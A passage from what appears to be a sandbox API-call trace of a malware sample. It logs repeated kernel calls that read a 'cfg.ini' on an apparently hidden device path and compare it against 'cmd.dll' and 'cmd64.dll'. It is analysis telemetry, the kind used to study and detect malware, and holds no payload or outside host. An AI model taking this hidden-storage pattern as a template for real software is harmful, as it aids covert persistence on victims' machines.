FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.196] KeLeaveCriticalRegion () [0130.196] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.196] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.196] KeEnterCriticalRegion () [0130.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.196] ExFreePoolWithTag (P=0xfffffa8003c07180, Tag=0x0) [0130.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.196] KeLeaveCriticalRegion () [0130.196] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.196] ReleaseMutex (hMutex=0xf0) returned 1 [0130.196] Sleep (dwMilliseconds=0x124f80) [0130.212] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.212] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.212] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.212] KeEnterCriticalRegion () [0130.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.212] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.212] IdePortDispatch () returned 0x103 [0130.212] KeWaitForMutexObject () returned 0x0 [0130.212] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.212] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.212] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.212] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.212] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.212] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cc70 [0130.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.212] KeLeaveCriticalRegion () [0130.212] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.212] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.212] KeEnterCriticalRegion () [0130.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.212] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.212] KeLeaveCriticalRegion () [0130.212] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.213] KeEnterCriticalRegion () [0130.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.213] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.213] IdePortDispatch () returned 0x103 [0130.213] KeWaitForMutexObject () returned 0x0 [0130.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.213] KeLeaveCriticalRegion () [0130.213] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.213] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.213] KeEnterCriticalRegion () [0130.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.213] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d40000 [0130.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.213] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.213] IdePortDispatch () returned 0x103 [0130.213] KeWaitForMutexObject () returned 0x0 [0130.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.213] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.214] IdePortDispatch () returned 0x103 [0130.214] KeWaitForMutexObject () returned 0x0 [0130.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.214] KeLeaveCriticalRegion () [0130.214] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.214] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.214] KeEnterCriticalRegion () [0130.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.214] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.214] KeLeaveCriticalRegion () [0130.214] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.214] KeEnterCriticalRegion () [0130.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.215] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.215] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.215] KeLeaveCriticalRegion () [0130.215] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.215] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.215] KeEnterCriticalRegion () [0130.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.215] ExFreePoolWithTag (P=0xfffffa800294cc70, Tag=0x0) [0130.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.215] KeLeaveCriticalRegion () [0130.215] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.215] ReleaseMutex (hMutex=0xf0) returned 1 [0130.215] Sleep (dwMilliseconds=0x124f80) [0130.231] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.231] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.231] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.231] KeEnterCriticalRegion () [0130.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.231] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.231] IdePortDispatch () returned 0x103 [0130.231] KeWaitForMutexObject () returned 0x0 [0130.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.231] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.231] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.231] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.231] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.231] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c450 [0130.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.231] KeLeaveCriticalRegion () [0130.231] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.231] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.232] KeEnterCriticalRegion () [0130.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.232] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.232] KeLeaveCriticalRegion () [0130.232] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.232] KeEnterCriticalRegion () [0130.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.232] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.232] IdePortDispatch () returned 0x103 [0130.232] KeWaitForMutexObject () returned 0x0 [0130.232] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.232] KeLeaveCriticalRegion () [0130.232] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.232] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.232] KeEnterCriticalRegion () [0130.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.232] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d45000 [0130.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.232] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.232] IdePortDispatch () returned 0x103 [0130.232] KeWaitForMutexObject () returned 0x0 [0130.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.233] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.233] IdePortDispatch () returned 0x103 [0130.233] KeWaitForMutexObject () returned 0x0 [0130.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.233] KeLeaveCriticalRegion () [0130.233] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.233] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.233] KeEnterCriticalRegion () [0130.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.234] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.234] KeLeaveCriticalRegion () [0130.234] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.234] KeEnterCriticalRegion () [0130.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.234] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.234] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.234] KeLeaveCriticalRegion () [0130.234] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.234] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.234] KeEnterCriticalRegion () [0130.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.234] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.234] KeLeaveCriticalRegion () [0130.234] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.234] ReleaseMutex (hMutex=0xf0) returned 1 [0130.234] Sleep (dwMilliseconds=0x124f80) [0130.250] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.250] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.250] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.250] KeEnterCriticalRegion () [0130.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.250] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.250] IdePortDispatch () returned 0x103 [0130.250] KeWaitForMutexObject () returned 0x0 [0130.250] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.250] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.251] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.251] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.251] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.251] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cc70 [0130.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.251] KeLeaveCriticalRegion () [0130.251] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.251] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.251] KeEnterCriticalRegion () [0130.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.251] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.251] KeLeaveCriticalRegion () [0130.251] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.251] KeEnterCriticalRegion () [0130.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.251] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.251] IdePortDispatch () returned 0x103 [0130.251] KeWaitForMutexObject () returned 0x0 [0130.251] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.251] KeLeaveCriticalRegion () [0130.251] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.251] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.251] KeEnterCriticalRegion () [0130.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.251] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d4a000 [0130.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.252] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.252] IdePortDispatch () returned 0x103 [0130.252] KeWaitForMutexObject () returned 0x0 [0130.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.252] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.252] IdePortDispatch () returned 0x103 [0130.252] KeWaitForMutexObject () returned 0x0 [0130.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.252] KeLeaveCriticalRegion () [0130.252] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.253] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.253] KeEnterCriticalRegion () [0130.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.253] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.253] KeLeaveCriticalRegion () [0130.253] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.253] KeEnterCriticalRegion () [0130.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.253] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.253] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c5d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.253] KeLeaveCriticalRegion () [0130.253] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.253] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.253] KeEnterCriticalRegion () [0130.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.253] ExFreePoolWithTag (P=0xfffffa800294cc70, Tag=0x0) [0130.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.253] KeLeaveCriticalRegion () [0130.253] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.253] ReleaseMutex (hMutex=0xf0) returned 1 [0130.253] Sleep (dwMilliseconds=0x124f80) [0130.270] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.270] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.270] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.270] KeEnterCriticalRegion () [0130.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.270] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.270] IdePortDispatch () returned 0x103 [0130.270] KeWaitForMutexObject () returned 0x0 [0130.270] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.270] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.270] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.270] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.270] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.270] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 